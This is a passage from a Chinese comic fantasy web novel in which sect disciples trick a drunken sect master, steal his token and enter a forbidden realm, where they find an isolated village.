海里?肯定就是合欢宗大门口的南海了……可海这么大,他们怎么找呢?就是找到了又要怎么进去? 师妹“读心”的次数有限,明易斟酌着如何套出赵宗主更多的话:“传这谣言的人许是别有用心吧……毕竟禁地也是秘境,有危险的地方自然有更大的机缘……所以很多禁地难进难出,还需机缘才可,宗主,您说是吗?” 赵有志喝了口酒,呵呵道:“你说的是有理,想来那人是看上我宗门哪处秘境了,故意在外放话说什么禁地,惹来他人的揣测,真不知道这些人安得什么好心!” 石映心:“禁地在月圆之夜才开,三日之内不出来便永远出不来……我倒不用这么提心吊胆的,他们就是知道禁地的存在了又如何?没有我的宗主令也进不去……归壹派这几个小孩拿着因果牌来势汹汹,我还是继续装疯卖傻吧!” 月圆之夜。三日之内。 宗主令。 明易的心沉了下来。 泉芷时刻观察着他的表情,见他这会脸色不对劲,不由得有些焦灼,忍不住出声道:“宗主,我听闻此禁地与我鲛人族奇毒有关,若是确有其事,为何您不能帮我呢?明明……” “泉芷!”赵有志把酒杯“咚”在桌上,原先带了一些醉色的脸居然正色起来,严肃道,“本座说了,没有禁地!就是有——那你说为何它是禁地呢?” 泉芷怔然地呆住了:“……为什么?” 赵有志把手一摊,无奈道:“因为很危险啊!” 她下意识反驳道:“泉芷不怕……” “我跟你说的不是一回事!”赵有志把手一挥,扶额皱眉,倒酒喝酒。 气氛就此凝滞,明易正奇怪师妹怎么还没传音来,这会又听见了,不过是小师妹:“大师兄不好了,师姐照醉了!” 明易:…… 是了,她是有前车之鉴的。 那没什么好说的了,赵宗主也显然被他们搞得没了酒兴,挥挥手说什么“时候不早了,本座就不耽误你们休息了”,然后抱着酒走了。 屋里几人面面相觑,泉芷想问对方得知了什么线索,但明易先站起来道:“二位道友,有什么事明早再说吧,我和师弟师妹先告辞了。” 他都这么说了,泉芷和方翔也不好意思再问什么。 走到屋外,看到曾换月背着石映心站在那等他们,明易上前道:“我来吧。” 曾换月摇摇头:“没事大师兄,我背得动。” “好。” 今夜就先这样吧,睡觉! 第二日。 明易昨晚给师父送了传音符,早上便收到了回信,上头写着:【看着办】。明易盯了一会,淡定地收了起来然后拿出另一张传音符,这是他以防万一传给掌门师公的,这张上写着:【便宜行事】。 明易:…… 堂堂的归壹派掌门居然纵容弟子去闯别人家禁地,这事说出去谁信呢? 明易漠然地把两张传音符销毁了,传出去有伤两派情谊,有损正派名声。但他不得不感到许多矛盾,难道这么做是对的?可之后合欢宗追究起来,他们该如何是好?总不能把归壹派供出来…… 明易也是做过不少因果牌任务的弟子,往常多是线索明确的惩恶扬善一类的好事,但这两次的任务都有些古怪。他思来想去一会儿,还没想出什么所以然,门外就有人喊他: “大师兄,你怎么还没起啊!” “大师兄是不是身体不舒服,我们进去瞧瞧。” “师姐,你不敲门吗?” …… 还有这几个不省心的,唉,真是前路难料。 明易推开门,正好和石映心迎面撞上,那人“咦”了一声说:“大师兄你醒了。” 明易颔首道:“嗯,怎么了?” 石映心说:“泉芷说要去海里采海螺给我们做传音螺,问我们要不要一起去。” 明易瞧着她清亮的眼睛:“昨晚的事你和她说了?” “不能说吗?” 明易瞅瞅站在后边的泉芷,还有边上朝他眨眼睛的曾换月和顾梦真,只好道:“好,一起去吧。” 第56章 靠海吃海,合欢宗对海的探索和运用都很成熟,比如她们宗炼制的防水服和鱼泡泡,就是专门给弟子入海用的。防水服是玫红的,在水中比较明显,鱼泡泡戴在头上,可以维持 两个时辰的自在呼吸。 从合欢宗西门出去,再走一段沙滩路,很快就到了泉芷她们平时捕海螺的地方。虽说大伙心知肚明此次只是借找海螺的名义去探探禁地,但平时在山上飞地上走的几人鲜少有玩水的机会,瞧着都有些兴奋。 今日天朗气清,风平浪静,早上日头还不大,温暖的风吹来很适宜,是个下水的好时候。 石映心换上防水服,泉芷凑过来夸她:“这颜色很适合你。” 颜色?石映心不懂时尚,但现在略懂一些人情世故,沉吟片刻道:“大师兄穿得更好看。” 莫名被提到的明易:? 泉芷瞥他一眼:“嗯,还行吧。” 石映心心想泉芷可能是害羞了,点点头没再说话。 明易看看师妹又看看泉芷,总觉得二人之间似乎发生了一些事,不过……映心刚刚是在夸他好看吗?说起来,他以往倒是没了解过她喜欢如何模样,平时也没听她提起谁好看,还以为她在这方面根本不开窍…… 等等,扯远了。 泉芷领着她们下水去,海螺就长在浅海的珊瑚礁处,一片热闹的彩色很好找。日光照得海水透蓝泛绿,一束束落在游过的白底黄条一群鱼上,晃过一片片光斑。 她们第一次这么清楚地看见泉芷的鱼尾,不像曾换月看过的那些美人鱼的红橙黄绿紫,就是和大海融为一体的湖蓝色,游动时像风吹起的波浪,难以言喻的律动感。 她们好奇地摸了摸,触感就是大片的鱼鳞,滑溜溜的,又能感到一些柔软。几人中就数曾换月最激动,毕竟鲛人对她来说原先是“假的但希望是真的”这样的存在,所以现在是“希望成真”了,别提她有多兴奋。别人在找海螺,她绕着泉芷转,眨眼都是浪费。 不过泉芷是没空陪她闹的,很快便说自己要去深处找一找禁地的线索,如果他们不去的话就在这附近玩一玩,别游远了。 四个人当然说去啊去啊,泉芷自然是高兴的。于是他们往深处、远处游去,五双眼睛一同搜寻着禁地的线索。可惜她们找了许久也毫无所获,直到鱼泡泡的时辰到了,这才悻悻回到岸上,大伙都很疲惫。 坐在沙滩上休息时,泉芷便恢复了人腿,她思酌道:“难道只有在月圆之时禁地才会出现?” “我也觉得是这样。”顾梦真施法把自己烘干,“我们都找得很仔细了也没找到,而且我大师兄都是元婴后期了也没发现什么不对劲的。若是他都没察觉,那我们还是趁早放弃吧。” 曾换月也从一开始的兴奋变成了疲惫:“二师兄说得对,我看我们还是月圆之夜再来找找?这两日就好好休息。” 石映心看向大师兄:“比如我们再找机会探探赵宗主的口风?” 明易清楚因果牌不可能给弟子不可能完成的任务,最多伤到还留着一口气的程度吧,但这是很倒霉、处处出差错的极少数情况了。不过他并没有提起这事安慰几人,只是说:“再议吧,先回去休息。” “好。” 石映心:“去吃饭。” “……嗯。” 吃饭的时候遇见了方翔,他说午后有弟子筹备了沙滩球赛,问她们要不要一起去玩,几人连沙滩都是第一次见哪里听过沙滩球,就是不会玩也想去凑凑热闹。明易虽然没兴趣,但肩负着照看师弟师妹的责任,于是也跟了去。 他实在不该去的。 在好端端地坐在那,但第23次被排球砸到之后他如此想。 “不好意思啊这位道友。”砸球来的弟子笑呵呵地走过来和他道歉,并且热情道,“看来我这球技还得多练哈哈哈!为表我的歉意,晚上请你用膳如何?” 明易表情麻木地拒绝了18次用膳的邀约。 那人遗憾地又说了两句客套话,见他反应冷淡,悻悻地抱球离开了,一过去立刻就有一堆人去抢他手上的球,不知是为什么。 “第23次,”顾梦真目瞪口呆地把手指放下来一根,“7次来自女弟子,16次都是男弟子……” “让你们见笑了。”泉芷偷摸摸地又去海底了,换方翔招待他们,“我们宗的弟子看到长得好看的俊男靓女就有些把持不住,哈哈。” 听他习以为常、压根就不尴尬的语气,几人倒觉得自己大惊小怪了。曾换月压住抽搐的嘴角道:“你们宗……挺开放哈。” “食色,性也。”方翔笑眯眯道,“贪性和贪吃又有何区别呢?我们修仙者虽能辟谷,可八大仙门皆有膳堂,你们归壹派还有四座,对不对?” 哎呀这例子举得就很有道理了。三人便点头说是啊是啊,贪吃是人的本性嘛。 方翔又道:“既然如此,贪性为何要被避之不谈呢?定是心中有邪念;若是心中光明磊落、不做害人之事者,贪性又如何?能谈情爱却不谈性,完全是自欺欺人。” 三人给他鼓掌,说有道理啊有道理。 “不过……”方翔见她们很给面子,忍不住笑了笑,转而又叹了口气道,“不过除我们合欢宗外的修仙者,境界越高、情欲越是冷淡,那些不贪吃的就更是心如止水……大概这就是所谓的逆天而行:人若要成仙,须化小爱为大爱吧。” 比如你们仨个,瞅着无忧无虑的;又比如你们大师兄,早已剥离食欲……归壹派的弟子难道都是这般? 就在这时,石映心瞧见又有弟子把球往大师兄那里扔,她方才听了方翔的话,觉得他们合欢宗的弟子们都挺有趣的,这会就很像话本里扔绣球的剧情——心念一动,贪玩地把手中的球往明易一抛,正好砸开了那个弟子扔来的球。 明易本想把球打回去,见是师妹扔来的就接住了,拿着球走过来说:“你们玩好了?” “玩好了玩好了。”曾换月拍拍胳膊上的沙子,“这日头太晒了,我快晒干了,还是回去休息吧。” 方翔适时说:“我们宗门里还有可以玩水的室内小池,要不要去凉快凉快?” 她们又说玩啊玩啊。 明易无奈摇头,不明白师弟师妹们为何有这么多精力和玩心。 顾梦真贴心道:“大师兄要不你先回去休息呗?有我和方道友在能出什么事?” 明易看向方道友,见他笑眯眯的一张脸,心里不放心极了:“没事,我也去看看。” 没想到刚到小池就赶上了热闹,只见里头忽地炸起楼高的水花,猝不及防地泼了几人一身,池中玩水的弟子连忙游到岸上作鸟兽散。混乱之中,就见水中站着三人,正在急头白脸地吵架。 其中一男弟子道:“贱人,刚和我断了双修契转头就和她修上了,你这不是脚踏两只船是什么!” 他对边有一对粉衣黄衣女弟子,粉衣气势汹汹地和他吵起来:“你少血口喷人了!我分明是先断了契才和她双修的,这哪里算是脚踏两只船?不管是换船换得比较快罢了!” 男弟子大叫:“你说谎!我们已双修一年有余,配合十分默契,你若不是先尝了她的好,怎么可能舍得和我分开?” 黄衣弟子道:“我与她是互通了心意才决定要一同双修,和你们交·身不交心的结契交易不同!” 粉衣弟子下巴一抬:“没错,我与你毫无感情,只是单纯的双修关系,分了就分了,你还在这死缠滥打什么?不嫌丢面啊!” “你!你!你们这对奸妇**!!” “嘴巴给老娘放干净点,不然别怪我不客气!” “不客气就不客气,谁怕谁!” “看招——” 就见那粉衣女弟子变出大鼓来,气势汹涌地就在水上“咚咚咚”敲了起来,池上的水仿若遭了狂风暴雨,哗地四处乱飞,边上看热闹的吃瓜群众遭殃了一片。 石映心仿佛被水巴掌扇了一脸,差点要在陆地上溺水了,还不等她“咳咳咳”出喉咙里的水来,那鼓声就像敲在她脑 壳上似的,震得她脑袋晕头转向,这时又听到一阵琴声,耳朵就开始鸣叫了。 不只是她这样,有些法力稍微弱些的都已经抱着脑袋在地上打滚了,连挣扎跑走的力气都没有。 石映心瞅见师妹痛苦的模样,回过神来将元婴离体,果然离开肉身之后便不再疼痛了,混乱中定睛一看,正和大师兄对上了视线,二人微微点头示意,默契地冲过去,一人一边把那三个乱来的给打飞了。 场面总算消停下来。 回到肉身之中,石映心赶忙去扶住师妹,见她两眼晕晕,已经不知天地为何物了;二师兄也是摇头晃脑的被大师兄扶着。他们还算好的,地上有些弟子都神志不清、七窍流血。 小池里的水少了大半,地上湿漉漉一片,横七竖八地倒着不少人。石映心这才发现方翔不见了,正要问大师兄,却见那边走来二人,正是方翔和副宗主安蔚然。 接下来就是熟悉又陌生的训斥弟子环节,石映心发现不管是合欢宗还是归壹派的长老们训人的话术都很像,甚至语气神态都好相似,上一次见面时看起来温柔婉约的副宗主,教训起弟子来也是很可怕的。 “……你们三人自去戒律堂领罚。” 那三个爬起来跪在地上:“……弟子遵命。” 训完话后,安蔚然又过来安抚石映心几人,和明易客气地交流了几句,又吩咐方翔好好照顾客人……说到这她似乎想到了什么,望了望四周奇怪道:“对了,泉芷呢?” 第57章 面对师父的询问,方翔早已想好借口,淡定道:“我和泉芷分头去找您,她应该等会就回来了。” 安蔚然并没多怀疑,又交代了他几句就走了。 几人都松了口气,狼狈地回到屋里整顿一番,还没休息一会泉芷就来敲门了,说自己得知她们撞上了弟子间的冲突,来问几人有没有受伤。 曾换月挥挥手:“受伤倒是没有,就是有点精神损伤……你们合欢宗的乐法还挺厉害啊,我到现在还有些晕晕乎乎的……” 泉芷歉疚道:“实在对不住……” “没事没事,”曾换月扶着脑袋摇摇头,“不关你的事,要怪就怪我们爱凑热闹……” “别这么说……对了,”泉芷的视线往边上的门看去,“映心她也没事吗?” “我师姐好得很呢。” 泉芷便走过去敲门:“是吗,我去看看她。” 曾换月:? 怎么总觉得泉芷特别关心师姐呢?不不不,应该是她的错觉吧?泉芷不是还想和大师兄生孩子来着…… 她站在门边,歪着脑袋看泉芷对师姐一阵嘘寒问暖,扯了一堆之后又说自己想到了一个能拿到宗主令的好办法,听到这曾换月才凑上去:“有什么好办法?” 泉芷被突然冒出来的她吓了一跳,笑了笑道:“不如把明道友他们叫来一起说?” “好啊。” 大伙凑在一起听了她说的办法,桌上一片沉默。方翔放下茶盏,首先笑道:“我同意小芷说的。” 石映心也觉得没什么不可以:“我也同意。” 顾梦真瞥了眼边上的人:“额,大师兄同意我就同意。” 曾换月缩了缩脖子:“我跟二师兄一样。” 群众的目光落在明易身上,他这会的脸色冷冰冰的,瞧着真不、还是好看的。没人知道他漠然双眸下的思绪,总之耐心地等了一会,还是见他点了点头。 大家正要欢呼,明易撇过泉芷和方翔,视线最后落在桌面的茶壶上:“不过你们要适可而止。” 方翔笑眯眯道:“自然自然。” 泉芷松了口气:“肯定肯定。” 未免被赵有志发现,几人确定了作案时间为月圆之夜当晚,偷了东西就马上入海,就是找不到禁地也能趁早返还。大家又集思广益地商讨了许多犯罪细节,补充了几个备用方案,夜深之后总算商定了。 * 赵有志叫来徒弟,问归壹派几人这两日在做什么。 徒弟想了想:“吃饭,捞海螺,玩沙滩球,戏水,听曲……” “正事。”赵有志打断他,“本座问的是他们做了什么正事。” 徒弟苦思冥想,总算想起来一个:“哦,回禀宗主,前日在戏水小池发生了一起冲突,场面失控,伤及了不少无辜弟子,还是归壹派两位道友帮忙控场的,后来副宗主也来了。” “这事本座听说了,真是丢脸啊,嗐。除此之外呢?” “除此之外……”沉思一会,“好似没有了。徒儿见她们一直很悠哉的,这两日由泉师妹和方师弟带着把我们宗门上上下下都玩了个遍……” 赵有志皱起眉头:“他们可是有任务在身,怎会如此悠闲?那三个小的也就算了,明易不该啊……” 徒弟道:“明道友似乎都不感兴趣的,不过他师弟师妹挺闹腾,估计得看着吧。师父,我们宗门与归壹派素来交好,您为何忧心忡忡的呢?其实徒儿见她们师兄妹四人都挺和善的……” “唉,你不用多问,看紧他们便是了。”赵有志挥挥手,拿起酒壶喝酒,“去吧去吧。” “是,师父。” 听徒弟汇报了归壹派几人的动向之后,赵有志有些心神不定,总觉得山雨欲来,却不见风,这平静之下是否藏着什么阴谋呢……罢了罢了!酒入喉肠之后他又想,再怎么着也是归壹派的弟子,就是看在名门正派的份上,他们总不会做出什么太过分的事吧? 嗐…… 到晚上快就寝之前一切还算太平,临睡前有弟子来报,说是后门那有弟子起了争执,已经小打出手了,好在已经有人喊副宗主去了。一听安蔚然去了,赵有志就安心下来,打算大酌一杯慢慢睡去。 喝到一半,徒弟又来了,神色慌慌张张地说:“不好了宗主,归壹派的几位……” 醉醺醺的赵有志猛地直起身来:“他们怎么了?” “额,”徒弟组织了一下措辞,“应该是说,泉芷和方翔因为他们吵起来了……” 大酌半杯的赵有志其实有些神志不清,靠瞪大眼睛让自己清醒:“大晚上的,他们吵什么?” “……其实我也听不明白,不过吵得挺凶的,感觉要动手了。”徒弟道,“宗主,要不你去看看?” 赵有志撑着桌子站起来,他已经换了寝衣,这会又要换上宗主服,真是麻烦唉,摇摇头叹气道:“唉,别家弟子就算了,自家弟子也叫人不省心……” 徒弟见他有些晃晃悠悠的,过去扶了他一把:“宗主,你醉了?” 赵有志立刻变脸正色道:“我没醉!” 徒弟收回手:“哦。” 赵有志飞去查看情况,一凑近就听见下方院子里传来激烈的争吵声,边上还有一些弟子躲起来凑热闹。再定睛一瞧,明易抱剑坐在院中石桌边,神色木然地瞅着桌面,泉芷和方翔二人在他两侧对立,脸色都不太好看。 边上不远处还站着石映心三人,局促地挨在一起,瞧着不知所措。 这两人吵得很投入,甚至没发现他来了。 赵有志刚落地,就听见泉芷不高兴道:“师兄,你明明知晓我马上要到二十生辰,为何不肯让我?” 让?让什么? 方翔冷哼一声:“你若是真着急这事,随便找个人生子活命就行了,何必执着明道友?” 啊?执着谁? 泉芷大声起来:“明道友是最合适的人选!他天资卓越、为人正派,是最好的生子人选!” 赵有志:哦,原来是泉芷生子的事,以明易的才能确实很合适…… 方翔也跟着叫:“爱美之心人皆有之,你也知道他优秀了,我想他和我双修有什么不对!” 赵有志:哦,原来是方翔双修的事,以明易的姿色确实很合…… 等等,什么意思?方翔居然也要找男人双修!??他从来不知道这事! 此时他开始怀疑自己喝醉了。 泉芷:“此事与我鲛人族命运攸关!师兄你找谁双修不行?” 方翔:“怎么的你们鲛人族的命是命我的命就不是命了?那你找谁生子不行?” 赵有志:。 “这怎么能相提并论?方翔你不要太自私自利了!” “分明是你胡搅蛮缠!我自私自利?做你的师兄,从小到大我对你不算好的?” “别扯这些题外话!” “不管题外题内,反正我话就放在这了,这个男人我要定了!” 赵有志:…… 这时候,后边三个旁观的上来劝说了。 曾换月道:“你们冷静,不要再吵了辣,大家都心平气和地好好商量嘛!” 顾梦真说:“是啊是啊,大师兄只有一个,照我看,不如先为泉芷解了燃眉之急,之后再和方大哥双修……” 石映心点头:“嗯嗯。” 赵有志:…… “不行!”泉芷拒绝,“我岂能容忍我孩子的父亲和别人双修?” “我也不同意!”方翔否决,“我绝不接受我的修侣和别人生子!” 二人一同看向明易:“明道友,你有何高见?” 一直没说话的明易表情纹丝不动,声线平板:“一生一世一双人。” 曾换月:“我们归壹派就是这样专一的。” 顾梦真:“没错没错,这是传统。” 石映心:“嗯嗯。” 边上围观的弟子议论纷纷:“没想到方师兄也好男风啊”“平时真看不出来哦”“正常啊我之前也喜欢和女弟子双修但现在喜欢和男弟子了”“主要是归壹派来的明道友确实是天人之姿,谁看了不想和他酱酱酿酿呢”…… 赵有志:…… 酱酱酿酿是哪样哪样!你们到底想做什么! 此时不出面真是没面了,赵有志捏着拳头放在嘴边一咳,自觉震慑地尴尬登场:“咳咳,那个,几位小友……” 泉芷猛然转头盯住他:“宗主你来得正好。” 赵有志一吓:oO? 方翔目光炯炯地朝他一笑:“好啊,就让宗主来评评理,到底明道友跟谁最合适!” 赵有志二吓:Oo? “宗主您说!” 赵有志心说怎么就轮到他说了,又觉得身为宗主,这可不能乱说,整顿了有些醉晕的脑子,慎重道:“额,此事最要紧的是明易的意愿……” 明易适时开口:“都行。” 赵有志暗骂他没个主意,真不是男人,自己面上还要稳住:“咳!依本座看,还是鲛人族的事更要紧些……” 方翔一拍石桌,没拍出多大声自己的手还给拍麻了,疼得他差点没演下去:“我kao……不服!宗主,从小到大您和师父就偏心泉芷,平日我也认了;可如今这关乎我们二人的终身大事,您若是依旧这般,就别怪我违背师命!” 赵有志被他的叛逆大惊:“方翔,你居然这么看我?本座何时委屈你了?” “怎么就是偏心我了?”泉芷气急败坏道,“若是真的对我好,为何不帮我找解毒之法?日日就知道喝酒喝酒喝酒!” 赵有志被她的谴责重击:“泉芷,你居然这么想我?本座待你不薄啊!” 二人都撇过头去,各有不满;赵有志左看看右看看,最后盯到中间的外人身上,咬牙道:“明易,你到底给他们二人使了什么迷魂术?为何他们如此钟情于你,甚至为你坏了师兄妹情谊!” 第58章 明易:“您说笑了。” 赵有志蛮横道:“不管如何,你现在就选一人!” “都好。” “呵,你个大男人……” 泉芷:“宗主您不要勉强他!” 方翔:“这事与他无关,是我和师妹的个人恩怨!” 赵有志:“你们二人居然还帮外人说话……” “大家都冷静不要吵了辣!”曾换月凑过来劝和,“吵架不如打架啊!” 泉芷变出玉笛:“打就打!” 方翔拿来洞箫:“谁怕谁!” 然后笛声箫声就开始打了起来,边上还有归壹派几人在拉偏架,黑夜中灵光乱飞,场面一时很热闹。 赵有志:??? 简直不把他这个宗主放在眼里! 他正要阻止几人胡闹,明易不知何时来到边上拉住了他,很是淡定道:“既然嘴上功夫谁也不饶谁,不如就打一架分个胜负……”话说到这一转,“赵宗主,瞧您脸色……您喝醉了?” “我没醉!”赵有志气死了,一挥手把他甩开,抖着手指着他:“你还好意思说!若不是你这个狐狸精……” 说到这里忽然有些哽咽,面容苦瓜起来:“我好端端的合欢宗究竟是怎么了!为何自我就任以来,同性之好与日俱增?我究竟做错了什么?我究竟做错了什么……” 他越说越委屈,越陷入情绪越沉醉,最后居然仰天长啸起来:“老天岂忍心亡我宗门啊!!啊——” 明易:…… 换月到底给赵宗主的酒里溶了什么神志不清符? 那边还在作秀打架,这边宗主还在哭唧唧,情况一时很混乱,明易正有些头大,忽然发现石映心带着安蔚然飞来了。 见她远远朝自己眨巴几下眼睛,明易疲惫地松了口气,心说这闹剧终于能结束了。 没错,她们的计划是这样的:由石映心假扮赵宗主的徒弟去给他每晚要喝的酒里溶入曾换月炼制的神志不清符(至今她不肯说为什么要学这个),然后顾梦真用呆头呆脑小木人变作师妹的模样,虽说只能做简单的指令,但当个小配角也够了。 石映心将真徒弟打晕取而代之,然后趁着赵宗主在这看他们表演的功夫,在他的屋里寻找宗主令(因此要挑他换好寝衣的时候),找到之后她再去找原先被支开的安蔚然来结束这一切……当然,先前支开安蔚然的弟子也是他们安排的。 安蔚然一来,乱打的几人就停止了胡闹,乖乖地低头认错,表示明早会去认罚;副宗主见她们的诚心模样,还有边上明显喝醉了在说胡话的赵宗主,只想赶紧结束了事,象征性地训了她们几句后就带着赵有志走了。 石映心走过来,把手一摊,手心上放着宗主令。 众人都松了一口气。 赶去海边的路上,明易问她是在哪里找到的,石映心道:“在赵宗主的酒柜上的一个酒坛子里泡着。” 明易默了默:“你难道……把所有酒坛子都砸了?” “本来是打算这样的。”石映心实话实说,“不过在那之前我拿出因果牌看了看,发现它能指引方向,所以没砸就找到了。” 明易抿了一晚上的嘴巴这下总算能松口气笑出来了:“映心,做得好。” 石映心听出大师兄这声夸奖格外真心。 事不宜迟,她们到了海边就换上了防水服和鱼泡泡准备入海。 方翔站在边上看着,因为刚刚吼得太大声了,这会声音还有些沙哑,显出很多忧愁:“你们定要小心行事,一切以性命安全为先。就是找不到解毒之法也要记得在三日之内出来……” 话到这犹豫了一下:“要不……我也同你们一起去?” 泉芷朝师兄郑重地摇摇头:“师兄,我不能再拖你下水……而且你留在这,一能帮着应付师父和宗主;二是如果三日后有什么意外,还能叫人来救我们。你放心吧,映心她们这么厉害,一定没事的。” 方翔沉重地点了下头,又朝明易几人道:“几位道友,我师妹就拜托你们多多关照了。” 大家都让他放心。 于是准备下水了,泉芷朝方翔摆摆手道:“师兄,你快回去吧。” 说完便跃入了海里,石映心几人紧随其后。方翔站在原处看着水花消散,叹了口气,转身离开。 通往禁地的阵法在哪?几人先前讨论过。发现了疑点有二:一是合欢宗从未有月圆之夜不能下海的规定,似乎不怕有人误闯禁地;二是禁地不可能离合欢宗太远,毕竟十分危险,需要放在眼皮子底下。 因此她们推测,禁地的入口与时间空间无关,关键应是在宗主令上。 果不其然,她们入海没多久,泉芷手中的宗门令就发起光来,几个脑袋凑在一起,顾梦真凭经验道:“这令牌应是秘境宝器,似乎已经到了能开启禁地的地方,还需要一些条件来启动。” 石映心问:“什么条件?” 顾梦真说 :“什么条件都有可能,有些是法术,有些是口诀,有些是……”他忽然盯住泉芷,“血脉。” 泉芷很快明白他的意思,点了点头,划破指尖溢出一点血来,往宗门令上一划—— 霎时间灵光大作,绿光刺得几人睁不开眼,但就算闭着眼睛,也觉得脑壳被光撬了进来,一片茫然的光色之中,什么也无法可想。 石映心感觉脑子里咕噜噜的,好像进了很多水,她晃了晃头,觉得头沉得要从脖子上掉下来;不过很快又感到有人揽住了她腰,带着她往上游去。等到了水面上,从鼻子和嘴巴里吐出了一些水后她才睁开了眼睛,看见泉芷正抱着她往岸边游去。 “泉芷……” 泉芷看向她:“映心,你醒了!” 石映心从她怀里出来,自己游起来:“换月他们呢?” 泉芷:“哦,还在水下昏迷呢。” 石映心掉头:“……我去救她们。” 泉芷拉住她:“你去岸上休息吧,我一个人就够了。” 石映心刚想说自己也去,却听“哗啦”一声,不远处的水面忽然又冒出三个头,是明易拖着师弟师妹上来了。泉芷游过去扶住了曾换月,几人便一同往岸上去。 上岸之后曾换月和顾梦真也醒了,几人狼狈地一边收拾自己一边打量四周,他们目前身处一条河边,斜坡上就是田间小路,上头还有车轮印和脚印,附近不远处可以瞧见大片的农田和成排的茅草屋。很寻常的民间景色。 这里就是禁地?看着一点也不危险啊。 她们正疑惑着,忽然听见有脚步声传来,转头一看,斜坡那边走来一个抱着木盆的女人,盆中盛满了衣物,她大概是来河边洗衣服的;一开始她似乎没注意到几人,直到走到小路上,和她们面面相觑着之后,居然一动不动地站在那了。 “你们……”还是她先说话了,眼睛瞪得大大的在每个人身上来回,“你们……不是我们村的人?” “额,是啊。”顾梦真试探地说,“我们是从……外边来的。” 女人的眼睛似乎又大了一点:“河的另一边?” 顾梦真:“算是?” 咚。女人手中的木盆猛然落地,但她却无意去捡,一边后退一边喃喃自语道:“河的另一边来人了……河的另一边……河的另一边来人了!” 说到后边她居然对着茅草屋那边大喊大叫起来,表现十分激动,似乎很想跑去叫人来,但又时不时回头看她们一眼,显然又怕她们跑掉。 曾换月觉得有些毛骨悚然,小声道:“她什么意思啊?” 明易朝河面上望去,远处迷烟缭绕,就连他元婴后期的眼睛也瞧不透,看来河的那一边很有古怪:“这里是禁地,几百年来由合欢宗看管着,自然来不了几个新人……可听那位的话,她似乎是觉得是这条河隔断了外边的世界,所以才没人来……” 石映心恍然道:“原来这些村里的人不知道自己在禁地里。” 泉芷眉头紧皱着:“这是正常的吗?” 不知道哇。这情况她们从没遇见过……毕竟以前也没来禁地玩过。 就在她们小声议论的时候,那边已经有一些人被女人喊了过来,瞧见五人时的稀奇表情跟见了奇珍异宝似的,他们小声议论了一会,有个粗壮的男人小心翼翼地问他们:“你们是谁?” 明易道:“我们只是普通的过路人。船行到附近出了意外,落水后醒来时便在这了。请问这里是何处?” 男人回道:“这里是海螺村。” 说着,他试探地走了下来,粗犷的脸上露出一个小心的讨好笑容:“我看你们的打扮,似乎都是富家子弟。我们村子几百年与世隔绝,又破又烂,还请不要嫌弃,去村中坐一坐、喝些粗茶吧?” 这正合她们的意,当然是应下了:“那就劳烦了。” 五人跟着这些人往村子走,适应着他们时不时转过来偷偷打量的视线。那个最先发现她们的洗衣服的女人叫陈二娟,男人叫马三,二人还算健谈,说话时提供了不少信息。 比如陈二娟说:“村里许久没来外人了,上一次还是一百多年前,后来他出不去,就在我们村里死了,现在还埋在后山上呢。” 五人:……不是她说这个什么意思? 马三道:“不只是外人难进来,我们也出不去,我小时候还有一些年轻人想着去河那边看看,都是有去无回,一开始大家以为他们是出去了就不回来了,后来有人侥幸从雾中逃出来,说雾里有不人不鬼的妖怪,会吃人的!在那之后就没人敢去雾里了。” “不过……”他转过头,朝她们憨厚地笑了笑,“像你们这样的外乡人来了总是想走的,你们是走是留我们海螺村都欢迎。走能替我们探路,毕竟村里人已经怕蔫了;留呢……从此以后我们便是一家人,哈哈。” 五人:……不是怎么有点羊入虎口的感觉? 第59章 就是虎口也得进去探探口气。 陈二娟说她家还有空屋子,他们不嫌弃的话可以暂时住下,几人说好啊好啊多谢了,于是跟着陈二娟往她家里走。路上经过许多人家,不过多数出去劳作了,只有少数几人在家门口忙活。 比如前面这一家,有个男人似乎在院子里喂鸡喂鸭,蹦蹦跳跳的看着心情很好呢。 顾梦真感慨道:“虽说海螺村隔绝世间已久,但这里的居民还挺安居乐业的。” “是啊,日子总是要过下去的。”陈二娟笑呵呵地回他一声,然后朝那个喂鸡鸭的男人招呼,“欸,方大哥!” 方大哥闻声转过身来,嘴角一扯眼睛一眨眉毛一挑肌肉一抽做了个几人没见过的鬼脸,他抬起手来挥了挥,忽然胳膊肘一折掉了下来,上臂带着小臂不规律地东西南北晃了起来。 石映心等人一时看呆了。泉芷诧异地小声道:“这是什么奇怪的……打招呼方式?” 顾梦真瞪大眼睛:“他在跳舞吗?怎么有些……” 曾换月倒是一眼看出来这方大哥身上铁定有些毛病,和她之前在短视频软件上刷过的残障人士行径很像……这病叫啥来着? 这时候方大哥说话了:“二,二娟,他们谁?” 陈二娟似乎一点不在意方大哥的古怪,很寻常地解释了几人的来历,方大哥闻言面部抽搐地笑了笑,点点点点点点头说:“好,这两天我叫,方四去你那,认识认识。” 陈二娟挥挥手:“欸,叫他来吧。” 二人几句话说完,陈二娟就带着他们继续往村里走。 曾换月和二师兄对视一眼,看出彼此眼中忌讳的好奇,但是问出口又怕戳人家痛处,看陈二娟和他关系这么好,实在是不好意思…… 石映心:“他生了什么病?” 二人:。 陈二娟“嗐”了一声,笑道:“不知道什么病啊,咱们村里也没个大夫……马老说方大哥是手脚太灵活了、要成仙了,所以才控制不住嘞。但好歹是手脚双全的,脑子也正常,还会说话,不打紧不打紧。” 石映心:“哦。” 曾换月:“啊?”不是你们是这么安慰他的?? 又往前走了几家,陈二娟突然朝前边挥手:“哎!黄家两口子!” 两口子?几人奇怪地左顾右盼,哪里有两口子? 明易在边上提醒:“低头。” 他们便低头看去,瞧见有两个小孩身材、成人面孔的一男一女正蹲在地上晒菜,乍一看像两团球,等他们直起身子,发现才有人的腰那么高。 男人举了举手中的菜:“二娟。” 女人哒哒哒跑过来,稀奇地打量外人:“啊呀二娟,我都听说了,这就是我们村新来的人啊?一个个长得又高又俊的,真招人稀罕!” 她随手拉 住了顾梦真,脸上满是笑意:“小公子,你多大啦?” 顾梦真从来没试过把自己的脑袋压得这么低去看人,咽口水都卡顿:“额,二十有余……” 女人高兴地拍拍他的手:“正好正好!” 顾梦真:? 正好什么? “好了好了,不急不急,”陈二娟似乎是看出了顾梦真的窘迫,过来把女人拉开,“我先带他们去安顿好。” 女人笑呵呵的:“唉!好好安顿,选块好地方盖新房!” 顾梦真:?? 离开黄家之后,顾梦真感到一些云里雾里的可怖,刚刚那个大娘看他的眼神似乎有些不对劲啊?而且世上原来竟然有这么矮的人,还不止一个,还是两口子!这也太……天生一对了。怎么会这样呢…… 石映心:“他们为什么这么矮?” 